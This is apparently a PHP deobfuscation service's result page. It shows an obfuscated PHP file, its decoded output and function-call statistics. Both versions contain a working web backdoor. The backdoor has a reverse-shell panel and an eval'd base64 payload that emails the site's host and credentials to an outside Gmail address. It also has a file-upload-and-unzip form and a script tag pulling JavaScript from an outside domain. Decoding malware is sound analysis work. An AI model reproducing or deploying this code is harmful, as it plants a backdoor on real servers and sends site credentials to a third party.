Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000..
Decoded Output download
$IIIIIIIIIIII['heading_title'] = 'Shell';
$IIIIIIIIIIII['entry_host'] = 'Remote host';
$IIIIIIIIIIII['entry_port'] = 'Remote port';
$IIIIIIIIIIII['entry_command'] = 'Local command';
$IIIIIIIIIIII['text_success'] = 'Success: You have successfully opened a reverse shell!';
$IIIIIIIIIIII['text_open_shell'] = 'Open a reverse shell';
$IIIIIIIIIIII['text_shell'] = 'Shell';
$IIIIIIIIIIII['text_error_host'] = 'Invalid host';
$IIIIIIIIIIII['text_error_port'] = 'Invalid port';
$IIIIIIIIIIIl = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIjE3OC1CbGFjayBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7DQogICRib2R5ICAgID0gIkJ1ZzogJHRhcmdldCBieSAkdmlzaXRvciAtICR1c2VyIC0gJHBhc3MiOw0KICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJoYXJkd2FyZWhlYXZlbi5jb21AZ21haWwuY29tIiwkanVkdWwsJGJvZHksJHVzZXIsJHBhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw==";
eval($GLOBALS['IIIIIIIIIII1']($IIIIIIIIIIIl));
;echo '
';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload") {$file = $_FILES['file']['name'];
if(@$GLOBALS['IIIIIIIIIIll']($_FILES['file']['tmp_name'],$_FILES['file']['name'])) {$IIIIIIIIIIl1 = new ZipArchive;
if ($IIIIIIIIIIl1->open($file) === TRUE) {$IIIIIIIIIIl1->extractTo('./');
$IIIIIIIIIIl1->close();
echo 'Successful.';
}else {echo 'Succesful.';
}}else{echo 'Unsuccesful.';
}}
;echo '<SCRIPT SRC=http://mt2hile.com/rea/ondulisede.js></SCRIPT>';;Did this file decode correctly?
Original Code
<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};?><?php eval($GLOBALS['OOO0000O0']('JElJSUlJSUlJSUlsbD0nY29weSc7JElJSUlJSUlJSUlJMT0nYmFzZTY0X2RlY29kZSc7')); ?><?php /* [email protected] */$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x988;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NGZmKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdhM21MZS84SVdRNFpyZjl3YmNWcDI3RW82SFlYU3N1akNKTU5La1AweFRSMXlkaDVCQWx2RFUrcUdpRm5PZ3R6PScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>\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\{TYNWpsuBO~Function Calls
| fopen | 1 |
| fread | 3 |
| strtr | 2 |
| fclose | 1 |
| urldecode | 1 |
| str_replace | 1 |
| base64_decode | 4 |
Stats
| MD5 | 72a912be691d8710b91095fcb197a318 |
| Eval Count | 4 |
| Decode Time | 156 ms |